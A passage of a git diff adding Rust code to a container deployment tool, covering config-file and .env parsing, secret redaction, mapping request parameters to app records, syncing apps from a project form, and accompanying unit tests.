key.to_lowercase(); + let is_sensitive = SENSITIVE_PATTERNS + .iter() + .any(|pattern| key_lower.contains(pattern)); + if is_sensitive { + (key.clone(), Value::String("[REDACTED]".to_string())) + } else { + (key.clone(), value.clone()) + } + }) + .collect(); + + Value::Object(redacted) + } + + fn parse_env_to_json(content: &str) -> Value { + let mut env_map = serde_json::Map::new(); + for line in content.lines() { + let line = line.trim(); + if line.is_empty() || line.starts_with('#') { + continue; + } + if let Some((key, value)) = line.split_once('=') { + env_map.insert( + key.trim().to_string(), + Value::String(value.trim().to_string()), + ); + } else if let Some((key, value)) = line.split_once(':') { + env_map.insert( + key.trim().to_string(), + Value::String(value.trim().to_string()), + ); + } + } + Value::Object(env_map) + } + + fn parse_config_bundle(content: &str) -> Vec { + if let Ok(json) = serde_json::from_str::>(content) { + json.into_iter() + .filter_map(|file| { + let name = file.get("name")?.as_str()?.to_string(); + let content = file.get("content")?.as_str()?.to_string(); + Some(ConfigFile { + name, + content, + template_path: file + .get("template_path") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + destination_path: file + .get("destination_path") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + file_mode: file + .get("file_mode") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + owner: file + .get("owner") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + group: file + .get("group") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + is_ansible: file.get("is_ansible").and_then(|v| v.as_bool()), + }) + }) + .collect() + } else { + Vec::new() + } + } +} diff --git a/stacker/stacker/src/project_app/mapping.rs b/stacker/stacker/src/project_app/mapping.rs new file mode 100644 index 0000000..2a6d035 --- /dev/null +++ b/stacker/stacker/src/project_app/mapping.rs @@ -0,0 +1,370 @@ +use serde_json::json; + +use crate::models::ProjectApp; + +/// Parse .env file content into a JSON object +/// Supports KEY=value format (standard .env) and KEY: value format (YAML-like) +/// Lines starting with # are treated as comments and ignored +fn parse_env_file_content(content: &str) -> serde_json::Value { + let mut env_map = serde_json::Map::new(); + + for line in content.lines() { + let line = line.trim(); + + // Skip empty lines and comments + if line.is_empty() || line.starts_with('#') { + continue; + } + + // Try KEY=value format first + if let Some((key, value)) = line.split_once('=') { + let key = key.trim(); + let value = value.trim(); + if !key.is_empty() { + env_map.insert( + key.to_string(), + serde_json::Value::String(value.to_string()), + ); + } + } + // Try KEY: value format (YAML-like, seen in user data) + else if let Some((key, value)) = line.split_once(':') { + let key = key.trim(); + let value = value.trim(); + if !key.is_empty() { + env_map.insert( + key.to_string(), + serde_json::Value::String(value.to_string()), + ); + } + } + } + + serde_json::Value::Object(env_map) +} + +/// Check if a filename is a .env file +fn is_env_file(file_name: &str) -> bool { + matches!( + file_name, + ".env" | "env" | ".env.local" | ".env.production" | ".env.development" + ) +} + +/// Parse image from docker-compose.yml content +/// Extracts the first image found in services section +fn parse_image_from_compose(content: &str) -> Option { + // Try to parse as YAML + if let Ok(yaml) = serde_yaml::from_str::(content) { + // Look for services..image + if let Some(services) = yaml.get("services").and_then(|s| s.as_object()) { + // Get first service that has an image + for (_name, service) in services { + if let Some(image) = service.get("image").and_then(|i| i.as_str()) { + return Some(image.to_string()); + } + } + } + } + + // Fallback: regex-like line scanning for "image:" + for line in content.lines() { + let line = line.trim(); + if line.starts_with("image:") { + let value = line.trim_start_matches("image:").trim(); + // Remove quotes if present + let value = value.trim_matches('"').trim_matches('\''); + if !value.is_empty() { + return Some(value.to_string()); + } + } + } + + None +} + +/// Intermediate struct for mapping POST parameters to ProjectApp fields +#[derive(Debug, Default)] +pub(crate) struct ProjectAppPostArgs { + pub(crate) name: Option, + pub(crate) image: Option, + pub(crate) environment: Option, + pub(crate) ports: Option, + pub(crate) volumes: Option, + pub(crate) config_files: Option, + pub(crate) compose_content: Option, + pub(crate) domain: Option, + pub(crate) ssl_enabled: Option, + pub(crate) resources: Option, + pub(crate) restart_policy: Option, + pub(crate) command: Option, + pub(crate) entrypoint: Option, + pub(crate) networks: Option, + pub(crate) depends_on: Option, + pub(crate) healthcheck: Option, + pub(crate) labels: Option, + pub(crate) enabled: Option, + pub(crate) deploy_order: Option, +} + +impl From<&serde_json::Value> for ProjectAppPostArgs { + fn from(params: &serde_json::Value) -> Self { + let mut args = ProjectAppPostArgs::default(); + + // Basic fields + if let Some(name) = params.get("name").and_then(|v| v.as_str()) { + args.name = Some(name.to_string()); + } + if let Some(image) = params.get("image").and_then(|v| v.as_str()) { + args.image = Some(image.to_string()); + } + + // Environment variables - check params.env first + let env_from_params = params.get("env"); + let env_is_empty = env_from_params + .and_then(|e| e.as_object()) + .map(|o| o.is_empty()) + .unwrap_or(true); + + // Config files - extract compose content, .env content, and store remaining files + let mut env_from_config_file: Option = None; + if let Some(config_files) = params.get("config_files").and_then(|v| v.as_array()) { + let mut non_compose_files = Vec::new(); + for file in config_files { + let file_name = file.get("name").and_then(|n| n.as_str()).unwrap_or(""); + if super::is_compose_filename(file_name) { + // Extract compose content + if let Some(content) = file.get("content").and_then(|c| c.as_str()) { + args.compose_content = Some(content.to_string()); + } + } else if is_env_file(file_name) { + // Extract .env file content and parse it + if let Some(content) = file.get("content").and_then(|c| c.as_str()) { + if !content.trim().is_empty() { + let parsed = parse_env_file_content(content); + if let Some(obj) = parsed.as_object() { + let var_count = obj.len(); + if var_count > 0 { + env_from_config_file = Some(parsed); + tracing::info!( + "Parsed {} environment variables from .env config file", + var_count + ); + } + } + } + } + // Still add .env to non_compose_files so it's stored in config_files + non_compose_files.push(file.clone()); + } else { + non_compose_files.push(file.clone()); + } + } + if !non_compose_files.is_empty() { + args.config_files = Some(serde_json::Value::Array(non_compose_files)); + } + } + + // If no image was provided in params, try to extract from compose content + if args.image.is_none() { + tracing::info!( + "[MAPPING] No image in params, checking compose content (has_compose: {})", + args.compose_content.is_some() + ); + if let Some(compose) = &args.compose_content { + tracing::debug!( + "[MAPPING] Compose content (first 500 chars): {}", + &compose[..compose.len().min(500)] + ); + if let Some(image) = parse_image_from_compose(compose) { + tracing::info!("[MAPPING] Extracted image '{}' from compose content", image); + args.image = Some(image); + } else { + tracing::warn!("[MAPPING] Could not extract image from compose content"); + } + } else { + tracing::warn!("[MAPPING] No compose content provided, image will be empty!"); + } + } else { + tracing::info!("[MAPPING] Image provided in params: {:?}", args.image); + } + + // Merge environment: prefer params.env if non-empty, otherwise use parsed .env file + if !env_is_empty { + // User provided env vars via form - use those + args.environment = env_from_params.cloned(); + } else if let Some(parsed_env) = env_from_config_file { + // User edited .env config file - use parsed values + args.environment = Some(parsed_env); + } + + // Port mappings + if let Some(ports) = params.get("ports") { + args.ports = Some(ports.clone()); + } + + // Volume mounts (separate from config_files) + if let Some(volumes) = params.get("volumes") { + args.volumes = Some(volumes.clone()); + } + + // Domain and SSL + if let Some(domain) = params.get("domain").and_then(|v| v.as_str()) { + args.domain = Some(domain.to_string()); + } + if let Some(ssl) = params.get("ssl_enabled").and_then(|v| v.as_bool()) { + args.ssl_enabled = Some(ssl); + } + + // Resources + if let Some(resources) = params.get("resources") { + args.resources = Some(resources.clone()); + } + + // Container settings + if let Some(restart_policy) = params.get("restart_policy").and_then(|v| v.as_str()) { + args.restart_policy = Some(restart_policy.to_string()); + } + if let Some(command) = params.get("command").and_then(|v| v.as_str()) { + args.command = Some(command.to_string()); + } + if let Some(entrypoint) = params.get("entrypoint").and_then(|v| v.as_str()) { + args.entrypoint = Some(entrypoint.to_string()); + } + + // Networks and dependencies + if let Some(networks) = params.get("networks") { + args.networks = Some(networks.clone()); + } + if let Some(depends_on) = params.get("depends_on") { + args.depends_on = Some(depends_on.clone()); + } + + // Healthcheck + if let Some(healthcheck) = params.get("healthcheck") { + args.healthcheck = Some(healthcheck.clone()); + } + + // Labels + if let Some(labels) = params.get("labels") { + args.labels = Some(labels.clone()); + } + + // Deployment settings + if let Some(enabled) = params.get("enabled").and_then(|v| v.as_bool()) { + args.enabled = Some(enabled); + } + if let Some(deploy_order) = params.get("deploy_order").and_then(|v| v.as_i64()) { + args.deploy_order = Some(deploy_order as i32); + } + + args + } +} + +/// Context for converting ProjectAppPostArgs to ProjectApp +pub(crate) struct ProjectAppContext<'a> { + pub(crate) app_code: &'a str, + pub(crate) project_id: i32, +} + +impl ProjectAppPostArgs { + /// Convert to ProjectApp with the given context + pub(crate) fn into_project_app(self, ctx: ProjectAppContext<'_>) -> ProjectApp { + let mut app = ProjectApp::default(); + app.project_id = ctx.project_id; + app.code = ctx.app_code.to_string(); + app.name = self.name.unwrap_or_else(|| ctx.app_code.to_string()); + app.image = self.image.unwrap_or_default(); + app.environment = self.environment; + app.ports = self.ports; + app.volumes = self.volumes; + app.domain = self.domain; + app.ssl_enabled = self.ssl_enabled; + app.resources = self.resources; + app.restart_policy = self.restart_policy; + app.command = self.command; + app.entrypoint = self.entrypoint; + app.networks = self.networks; + app.depends_on = self.depends_on; + app.healthcheck = self.healthcheck; + app.labels = self.labels; + app.enabled = self.enabled.or(Some(true)); + app.deploy_order = self.deploy_order; + + // Store non-compose config files in labels + if let Some(config_files) = self.config_files { + let mut labels = app.labels.clone().unwrap_or(json!({})); + if let Some(obj) = labels.as_object_mut() { + obj.insert("config_files".to_string(), config_files); + } + app.labels = Some(labels); + } + + app + } +} + +/// Map POST parameters to ProjectApp +/// Also returns the compose_content separately for Vault storage +pub(crate) fn project_app_from_post( + app_code: &str, + project_id: i32, + params: &serde_json::Value, +) -> (ProjectApp, Option) { + let args = ProjectAppPostArgs::from(params); + let compose_content = args.compose_content.clone(); + + let ctx = ProjectAppContext { + app_code, + project_id, + }; + let app = args.into_project_app(ctx); + + (app, compose_content) +} + +/// Merge two ProjectApp instances, preferring non-null incoming values over existing +/// This allows deploy_app with minimal params to not wipe out saved configuration +pub(crate) fn merge_project_app(existing: ProjectApp, incoming: ProjectApp) -> ProjectApp { + ProjectApp { + id: existing.id, + project_id: existing.project_id, + code: existing.code, // Keep existing code + name: if incoming.name.is_empty() { + existing.name + } else { + incoming.name + }, + image: if incoming.image.is_empty() { + existing.image + } else { + incoming.image + }, + environment: incoming.environment.or(existing.environment), + ports: incoming.ports.or(existing.ports), + volumes: incoming.volumes.or(existing.volumes), + domain: incoming.domain.or(existing.domain), + ssl_enabled: incoming.ssl_enabled.or(existing.ssl_enabled), + resources: incoming.resources.or(existing.resources), + restart_policy: incoming.restart_policy.or(existing.restart_policy), + command: incoming.command.or(existing.command), + entrypoint: incoming.entrypoint.or(existing.entrypoint), + networks: incoming.networks.or(existing.networks), + depends_on: incoming.depends_on.or(existing.depends_on), + healthcheck: incoming.healthcheck.or(existing.healthcheck), + labels: incoming.labels.or(existing.labels), + config_files: incoming.config_files.or(existing.config_files), + template_source: incoming.template_source.or(existing.template_source), + enabled: incoming.enabled.or(existing.enabled), + deploy_order: incoming.deploy_order.or(existing.deploy_order), + created_at: existing.created_at, + updated_at: chrono::Utc::now(), + config_version: existing.config_version.map(|v| v + 1).or(Some(1)), + vault_synced_at: existing.vault_synced_at, + vault_sync_version: existing.vault_sync_version, + config_hash: existing.config_hash, + parent_app_code: incoming.parent_app_code.or(existing.parent_app_code), + deployment_id: incoming.deployment_id.or(existing.deployment_id), + } +} diff --git a/stacker/stacker/src/project_app/mod.rs b/stacker/stacker/src/project_app/mod.rs new file mode 100644 index 0000000..1f5db4c --- /dev/null +++ b/stacker/stacker/src/project_app/mod.rs @@ -0,0 +1,80 @@ +pub(crate) mod hydration; +pub(crate) mod mapping; +pub(crate) mod sync; +pub(crate) mod upsert; +pub(crate) mod vault; + +pub(crate) use mapping::{merge_project_app, project_app_from_post}; +pub(crate) use sync::sync_project_level_apps_from_form; +pub(crate) use upsert::upsert_app_config_for_deploy; +pub(crate) use vault::{ + parse_registry_auth_config, store_configs_to_vault_from_params, + store_registry_auth_command_to_vault, store_registry_auth_to_vault, REGISTRY_AUTH_VAULT_KEY, +}; + +const PLATFORM_MANAGED_APP_CODES: &[&str] = &["nginx_proxy_manager", "statuspanel"]; + +pub(crate) fn is_platform_managed_app_code(value: &str) -> bool { + let normalized = normalize_app_code(value); + PLATFORM_MANAGED_APP_CODES.contains(&normalized.as_str()) +} + +pub(crate) fn is_platform_managed_app_identity(service_name: &str, image: Option<&str>) -> bool { + app_identity_candidates(service_name, image) + .iter() + .any(|candidate| is_platform_managed_app_code(candidate)) +} + +pub(crate) fn is_nginx_proxy_manager_identity(service_name: &str, image: Option<&str>) -> bool { + app_identity_candidates(service_name, image) + .iter() + .any(|candidate| candidate == "nginx_proxy_manager") +} + +pub(crate) fn normalize_app_code(value: &str) -> String { + value + .trim() + .trim_start_matches('/') + .to_lowercase() + .split(['-', '_']) + .filter(|part| !part.is_empty()) + .collect::>() + .join("_") +} + +fn app_identity_candidates(service_name: &str, image: Option<&str>) -> Vec { + let normalized_service_name = normalize_app_code(service_name); + let mut candidates = vec![normalized_service_name.clone()]; + if normalized_service_name == "npm" { + candidates.push("nginx_proxy_manager".to_string()); + } + + if let Some(image) = image { + if let Some(image_name) = image.split('/').last() { + if let Some(name_without_tag) = image_name.split(':').next() { + let normalized_image_name = normalize_app_code(name_without_tag); + if normalized_image_name == "npm" { + candidates.push("nginx_proxy_manager".to_string()); + } + candidates.push(normalized_image_name); + } + } + } + + candidates +} + +pub(crate) fn is_compose_filename(file_name: &str) -> bool { + matches!( + file_name, + "compose" + | "compose.yml" + | "compose.yaml" + | "docker-compose" + | "docker-compose.yml" + | "docker-compose.yaml" + ) +} + +#[cfg(test)] +mod tests; diff --git a/stacker/stacker/src/project_app/sync.rs b/stacker/stacker/src/project_app/sync.rs new file mode 100644 index 0000000..9fcf401 --- /dev/null +++ b/stacker/stacker/src/project_app/sync.rs @@ -0,0 +1,306 @@ +use crate::db; +use crate::forms::project::{replace_id_with_name, App as ProjectFormApp, ProjectForm}; +use crate::models; +use docker_compose_types as dctypes; +use indexmap::IndexMap; +use serde_json::{json, Map, Value}; +use sqlx::PgPool; +use std::collections::{HashMap, HashSet}; + +use super::is_platform_managed_app_code; + +fn non_empty_string(value: Option<&str>) -> Option { + value + .map(str::trim) + .filter(|value| !value.is_empty()) + .map(ToOwned::to_owned) +} + +fn app_environment_json(app: &ProjectFormApp) -> Option { + let mut environment = Map::new(); + + for env_var in app + .environment + .environment + .as_ref() + .into_iter() + .flatten() + .filter(|env_var| !env_var.key.trim().is_empty()) + { + environment.insert(env_var.key.clone(), Value::String(env_var.value.clone())); + } + + if environment.is_empty() { + None + } else { + Some(Value::Object(environment)) + } +} + +fn app_networks_json( + app: &ProjectFormApp, + all_networks: &Vec, +) -> Option { + let networks = dctypes::Networks::try_from(&app.network).unwrap_or_default(); + let network_names = replace_id_with_name(networks, all_networks) + .into_iter() + .filter(|name| !name.trim().is_empty()) + .collect::>(); + + if network_names.is_empty() { + None + } else { + Some(json!(network_names)) + } +} + +fn build_project_app( + project_id: i32, + deploy_order: i32, + app: &ProjectFormApp, + all_networks: &Vec, +) -> models::ProjectApp { + let mut project_app = models::ProjectApp::new( + project_id, + app.code.clone(), + app.name.clone(), + app.docker_image.to_string(), + ); + + project_app.environment = app_environment_json(app); + project_app.ports = app + .shared_ports + .as_ref() + .filter(|ports| !ports.is_empty()) + .map(|ports| json!(ports)); + project_app.volumes = app + .volumes + .as_ref() + .filter(|volumes| !volumes.is_empty()) + .map(|volumes| json!(volumes)); + project_app.domain = non_empty_string(app.domain.as_deref()); + project_app.ssl_enabled = Some(false); + project_app.restart_policy = non_empty_string(Some(&app.restart)); + project_app.command = non_empty_string(app.command.as_deref()); + project_app.entrypoint = non_empty_string(app.entrypoint.as_deref()); + project_app.networks = app_networks_json(app, all_networks); + project_app.enabled = Some(true); + project_app.deploy_order = Some(deploy_order); + + project_app +} + +pub(crate) fn project_level_apps_from_form( + project_id: i32, + form: &ProjectForm, +) -> Vec { + let all_networks = form.custom.networks.networks.clone().unwrap_or_default(); + let mut desired_apps: IndexMap = IndexMap::new(); + let mut deploy_order = 0; + + for web in &form.custom.web { + if is_platform_managed_app_code(&web.app.code) { + continue; + } + deploy_order += 1; + desired_apps.insert( + web.app.code.clone(), + build_project_app(project_id, deploy_order, &web.app, &all_networks), + ); + } + + if let Some(services) = &form.custom.service { + for service in services { + if is_platform_managed_app_code(&service.app.code) { + continue; + } + deploy_order += 1; + desired_apps.insert( + service.app.code.clone(), + build_project_app(project_id, deploy_order, &service.app, &all_networks), + ); + } + } + + if let Some(features) = &form.custom.feature { + for feature in features { + if is_platform_managed_app_code(&feature.app.code) { + continue; + } + deploy_order += 1; + desired_apps.insert( + feature.app.code.clone(), + build_project_app(project_id, deploy_order, &feature.app, &all_networks), + ); + } + } + + desired_apps.into_values().collect() +} + +pub(crate) async fn sync_project_level_apps_from_form( + pool: &PgPool, + project_id: i32, + form: &ProjectForm, +) -> Result<(), String> { + let desired_apps = project_level_apps_from_form(project_id, form); + let desired_codes = desired_apps + .iter() + .map(|app| app.code.clone()) + .collect::>(); + + let existing_project_level = db::project_app::fetch_by_project(pool, project_id) + .await? + .into_iter() + .filter(|app| app.deployment_id.is_none()) + .collect::>(); + + let mut existing_by_code = existing_project_level + .iter() + .map(|app| (app.code.clone(), app.id)) + .collect::>(); + + for mut desired_app in desired_apps { + if let Some(existing_id) = existing_by_code.remove(&desired_app.code) { + desired_app.id = existing_id; + desired_app.deployment_id = None; + db::project_app::update(pool, &desired_app).await?; + } else { + db::project_app::insert(pool, &desired_app).await?; + } + } + + for stale_app in existing_project_level + .into_iter() + .filter(|app| !desired_codes.contains(&app.code)) + { + db::project_app::delete(pool, stale_app.id).await?; + } + + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::project_level_apps_from_form; + use crate::forms::project::ProjectForm; + use serde_json::json; + + #[test] + fn project_level_apps_from_form_includes_all_custom_apps() { + let form: ProjectForm = serde_json::from_value(json!({ + "custom": { + "custom_stack_code": "sync-project", + "project_name": "Sync project", + "networks": [ + {"id": "net-1", "name": "default_network"} + ], + "web": [{ + "_id": "web-1", + "name": "Website", + "code": "website", + "type": "web", + "custom": true, + "dockerhub_image": "nginx:1.27", + "domain": "example.com", + "restart": "always", + "network": ["net-1"], + "environment": [{"key": "PUBLIC_URL", "value": "https://example.com"}], + "shared_ports": [{"host_port": "80", "container_port": "8080"}], + "volumes": [] + }], + "service": [{ + "_id": "svc-1", + "name": "Redis", + "code": "redis", + "type": "service", + "custom": true, + "dockerhub_image": "redis:7-alpine", + "domain": "", + "restart": "unless-stopped", + "network": ["net-1"], + "environment": [], + "shared_ports": [{"host_port": "", "container_port": "6379"}], + "volumes": [] + }], + "feature": [{ + "_id": "feat-1", + "name": "Search", + "code": "search", + "type": "feature", + "custom": true, + "dockerhub_image": "getmeili/meilisearch:v1.12", + "domain": "", + "restart": "always", + "network": ["net-1"], + "environment": [], + "shared_ports": [], + "volumes": [] + }] + } + })) + .expect("project form should deserialize"); + + let apps = project_level_apps_from_form(42, &form); + let codes = apps.iter().map(|app| app.code.as_str()).collect::>(); + + assert_eq!(codes, vec!["website", "redis", "search"]); + assert_eq!(apps[0].image, "nginx:1.27"); + assert_eq!(apps[0].domain.as_deref(), Some("example.com")); + assert_eq!(apps[0].networks, Some(json!(["default_network"]))); + assert_eq!( + apps[0].environment, + Some(json!({"PUBLIC_URL": "https://example.com"})) + ); + assert_eq!( + apps[1].ports, + Some(json!([{"host_port": "", "container_port": "6379", "protocol": null}])) + ); + assert_eq!(apps[2].restart_policy.as_deref(), Some("always")); + } + + #[test] + fn project_level_apps_from_form_skips_platform_managed_entries() { + let form: ProjectForm = serde_json::from_value(json!({ + "custom": { + "custom_stack_code": "managed-platform", + "project_name": "Managed platform", + "networks": [], + "web": [], + "service": [{ + "_id": "svc-1", + "name": "Nginx Proxy Manager", + "code": "nginx_proxy_manager", + "type": "service", + "custom": true, + "dockerhub_image": "jc21/nginx-proxy-manager:latest", + "domain": "", + "restart": "unless-stopped", + "network": [], + "environment": [], + "shared_ports": [], + "volumes": [] + }], + "feature": [{ + "_id": "feat-1", + "name": "Status Panel", + "code": "statuspanel", + "type": "feature", + "custom": true, + "dockerhub_image": "trydirect/status:dev", + "domain": "", + "restart": "always", + "network": [], + "environment": [], + "shared_ports": [], + "volumes": [] + }] + } + })) + .expect("project form should deserialize"); + + let apps = project_level_apps_from_form(42, &form); + + assert!(apps.is_empty()); + } +} diff --git a/stacker/stacker/src/project_app/tests.rs b/stacker/stacker/src/project_app/tests.rs new file mode 100644 index 0000000..5bb9d4b --- /dev/null +++ b/stacker/stacker/src/project_app/tests.rs @@ -0,0 +1,1026 @@ +use crate::helpers::project::builder::generate_single_app_compose; + +use super::mapping::{ProjectAppContext, ProjectAppPostArgs}; +use super::{ + is_nginx_proxy_manager_identity, is_platform_managed_app_code, + is_platform_managed_app_identity, project_app_from_post, +}; +use serde_json::json; + +/// Example payload from the user's request +fn example_deploy_app_payload() -> serde_json::Value { + json!({ + "deployment_id": 13513, + "app_code": "telegraf", + "parameters": { + "env": { + "ansible_telegraf_influx_token": "FFolbg71mZjhKisMpAxYD5eEfxPtW3HRpTZHtv3XEYZRgzi3VGOxgLDhCYEvovMppvYuqSsbSTI8UFZqFwOx5Q==", + "ansible_telegraf_influx_bucket": "srv_localhost", + "ansible_telegraf_influx_org": "telegraf_org_4", + "telegraf_flush_interval": "10s", + "telegraf_interval": "10s", + "telegraf_role": "server" + }, + "ports": [ + {"port": null, "protocol": ["8200"]} + ], + "config_files": [ + { + "name": "telegraf.conf", + "content": "# Telegraf configuration\n[agent]\n interval = \"10s\"", + "variables": {} + }, + { + "name": "compose", + "content": "services:\n telegraf:\n image: telegraf:latest\n container_name: telegraf", + "variables": {} + } + ] + } + }) +} + +#[test] +fn platform_managed_app_code_normalizes_common_variants() { + assert!(is_platform_managed_app_code("nginx_proxy_manager")); + assert!(is_platform_managed_app_code("nginx-proxy-manager")); + assert!(is_platform_managed_app_code("/statuspanel")); + assert!(!is_platform_managed_app_code("coolify")); +} + +#[test] +fn platform_managed_app_identity_matches_name_or_image() { + assert!(is_platform_managed_app_identity( + "nginx_proxy_manager", + None + )); + assert!(is_platform_managed_app_identity( + "proxy", + Some("jc21/nginx-proxy-manager:latest") + )); + assert!(is_nginx_proxy_manager_identity( + "proxy", + Some("jc21/nginx-proxy-manager:latest") + )); + assert!(is_nginx_proxy_manager_identity("npm", None)); + assert!(!is_platform_managed_app_identity( + "postgres", + Some("postgres:16-alpine") + )); +} + +#[test] +fn test_project_app_post_args_from_params() { + let payload = example_deploy_app_payload(); + let params = payload.get("parameters").unwrap(); + + let args = ProjectAppPostArgs::from(params); + + // Check environment is extracted + assert!(args.environment.is_some()); + let env = args.environment.as_ref().unwrap(); + assert_eq!( + env.get("telegraf_role").and_then(|v| v.as_str()), + Some("server") + ); + assert_eq!( + env.get("telegraf_interval").and_then(|v| v.as_str()), + Some("10s") + ); + + // Check ports are extracted + assert!(args.ports.is_some()); + let ports = args.ports.as_ref().unwrap().as_array().unwrap(); + assert_eq!(ports.len(), 1); + + // Check compose_content is extracted from config_files + assert!(args.compose_content.is_some()); + let compose = args.compose_content.as_ref().unwrap(); + assert!(compose.contains("telegraf:latest")); + + // Check non-compose config files are preserved + assert!(args.config_files.is_some()); + let config_files = args.config_files.as_ref().unwrap().as_array().unwrap(); + assert_eq!(config_files.len(), 1); + assert_eq!( + config_files[0].get("name").and_then(|v| v.as_str()), + Some("telegraf.conf") + ); +} + +#[test] +fn test_project_app_from_post_basic() { + let payload = example_deploy_app_payload(); + let params = payload.get("parameters").unwrap(); + let app_code = "telegraf"; + let project_id = 42; + + let (app, compose_content) = project_app_from_post(app_code, project_id, params); + + // Check basic fields + assert_eq!(app.project_id, project_id); + assert_eq!(app.code, "telegraf"); + assert_eq!(app.name, "telegraf"); // Defaults to app_code + + // Check environment is set + assert!(app.environment.is_some()); + let env = app.environment.as_ref().unwrap(); + assert_eq!( + env.get("telegraf_role").and_then(|v| v.as_str()), + Some("server") + ); + + // Check ports are set + assert!(app.ports.is_some()); + + // Check enabled defaults to true + assert_eq!(app.enabled, Some(true)); + + // Check compose_content is returned separately + assert!(compose_content.is_some()); + assert!(compose_content + .as_ref() + .unwrap() + .contains("telegraf:latest")); + + // Check config_files are stored in labels + assert!(app.labels.is_some()); + let labels = app.labels.as_ref().unwrap(); + assert!(labels.get("config_files").is_some()); +} + +#[test] +fn test_project_app_from_post_with_all_fields() { + let params = json!({ + "name": "My Telegraf App", + "image": "telegraf:1.28", + "env": {"KEY": "value"}, + "ports": [{"host": 8080, "container": 80}], + "volumes": ["/data:/app/data"], + "domain": "telegraf.example.com", + "ssl_enabled": true, + "resources": {"cpu_limit": "1", "memory_limit": "512m"}, + "restart_policy": "always", + "command": "/bin/sh -c 'telegraf'", + "entrypoint": "/entrypoint.sh", + "networks": ["default_network"], + "depends_on": ["influxdb"], + "healthcheck": {"test": ["CMD", "curl", "-f", "http://localhost"]}, + "labels": {"app": "telegraf"}, + "enabled": false, + "deploy_order": 5, + "config_files": [ + {"name": "docker-compose.yml", "content": "version: '3'", "variables": {}} + ] + }); + + let (app, compose_content) = project_app_from_post("telegraf", 100, ¶ms); + + assert_eq!(app.name, "My Telegraf App"); + assert_eq!(app.image, "telegraf:1.28"); + assert_eq!(app.domain, Some("telegraf.example.com".to_string())); + assert_eq!(app.ssl_enabled, Some(true)); + assert_eq!(app.restart_policy, Some("always".to_string())); + assert_eq!(app.command, Some("/bin/sh -c 'telegraf'".to_string())); + assert_eq!(app.entrypoint, Some("/entrypoint.sh".to_string())); + assert_eq!(app.enabled, Some(false)); + assert_eq!(app.deploy_order, Some(5)); + + // docker-compose.yml should be extracted as compose_content + assert!(compose_content.is_some()); + assert_eq!(compose_content.as_ref().unwrap(), "version: '3'"); +} + +#[test] +fn test_compose_extraction_from_different_names() { + // Test "compose" name + let params1 = json!({ + "config_files": [{"name": "compose", "content": "compose-content"}] + }); + let args1 = ProjectAppPostArgs::from(¶ms1); + assert_eq!(args1.compose_content, Some("compose-content".to_string())); + + // Test "docker-compose.yml" name + let params2 = json!({ + "config_files": [{"name": "docker-compose.yml", "content": "docker-compose-content"}] + }); + let args2 = ProjectAppPostArgs::from(¶ms2); + assert_eq!( + args2.compose_content, + Some("docker-compose-content".to_string()) + ); + + // Test "docker-compose.yaml" name + let params3 = json!({ + "config_files": [{"name": "docker-compose.yaml", "content": "yaml-content"}] + }); + let args3 = ProjectAppPostArgs::from(¶ms3); + assert_eq!(args3.compose_content, Some("yaml-content".to_string())); +} + +#[test] +fn test_non_compose_files_preserved() { + let params = json!({ + "config_files": [ + {"name": "telegraf.conf", "content": "telegraf config"}, + {"name": "nginx.conf", "content": "nginx config"}, + {"name": "compose", "content": "compose content"} + ] + }); + + let args = ProjectAppPostArgs::from(¶ms); + + // Compose is extracted + assert_eq!(args.compose_content, Some("compose content".to_string())); + + // Other files are preserved + let config_files = args.config_files.unwrap(); + let files = config_files.as_array().unwrap(); + assert_eq!(files.len(), 2); + + let names: Vec<&str> = files + .iter() + .filter_map(|f| f.get("name").and_then(|n| n.as_str())) + .collect(); + assert!(names.contains(&"telegraf.conf")); + assert!(names.contains(&"nginx.conf")); + assert!(!names.contains(&"compose")); +} + +#[test] +fn test_empty_params() { + let params = json!({}); + let (app, compose_content) = project_app_from_post("myapp", 1, ¶ms); + + assert_eq!(app.code, "myapp"); + assert_eq!(app.name, "myapp"); // Defaults to app_code + assert_eq!(app.image, ""); // Empty default + assert_eq!(app.enabled, Some(true)); // Default enabled + assert!(compose_content.is_none()); +} + +#[test] +fn test_into_project_app_preserves_context() { + let args = ProjectAppPostArgs { + name: Some("Custom Name".to_string()), + image: Some("nginx:latest".to_string()), + environment: Some(json!({"FOO": "bar"})), + ..Default::default() + }; + + let ctx = ProjectAppContext { + app_code: "nginx", + project_id: 999, + }; + + let app = args.into_project_app(ctx); + + assert_eq!(app.project_id, 999); + assert_eq!(app.code, "nginx"); + assert_eq!(app.name, "Custom Name"); + assert_eq!(app.image, "nginx:latest"); +} + +#[test] +fn test_extract_compose_from_config_files_for_vault() { + // This tests the extraction logic used in store_configs_to_vault_from_params + + // Helper to extract compose the same way as store_configs_to_vault_from_params + fn extract_compose(params: &serde_json::Value) -> Option { + params + .get("config_files") + .and_then(|v| v.as_array()) + .and_then(|files| { + files.iter().find_map(|file| { + let file_name = file.get("name").and_then(|n| n.as_str()).unwrap_or(""); + if super::is_compose_filename(file_name) { + file.get("content") + .and_then(|c| c.as_str()) + .map(|s| s.to_string()) + } else { + None + } + }) + }) + } + + // Test with "compose" name + let params1 = json!({ + "app_code": "telegraf", + "config_files": [ + {"name": "telegraf.conf", "content": "config content"}, + {"name": "compose", "content": "services:\n telegraf:\n image: telegraf:latest"} + ] + }); + let compose1 = extract_compose(¶ms1); + assert!(compose1.is_some()); + assert!(compose1.unwrap().contains("telegraf:latest")); + + // Test with "docker-compose.yml" name + let params2 = json!({ + "app_code": "nginx", + "config_files": [ + {"name": "docker-compose.yml", "content": "version: '3'\nservices:\n nginx:\n image: nginx:alpine"} + ] + }); + let compose2 = extract_compose(¶ms2); + assert!(compose2.is_some()); + assert!(compose2.unwrap().contains("nginx:alpine")); + + // Test with no compose file + let params3 = json!({ + "app_code": "myapp", + "config_files": [ + {"name": "app.conf", "content": "some config"} + ] + }); + let compose3 = extract_compose(¶ms3); + assert!(compose3.is_none()); + + // Test with empty config_files + let params4 = json!({ + "app_code": "myapp", + "config_files": [] + }); + let compose4 = extract_compose(¶ms4); + assert!(compose4.is_none()); + + // Test with no config_files key + let params5 = json!({ + "app_code": "myapp" + }); + let compose5 = extract_compose(¶ms5); + assert!(compose5.is_none()); +} + +#[test] +fn test_generate_single_app_compose() { + // Test with full parameters + let params = json!({ + "image": "nginx:latest", + "restart_policy": "always", + "env": { + 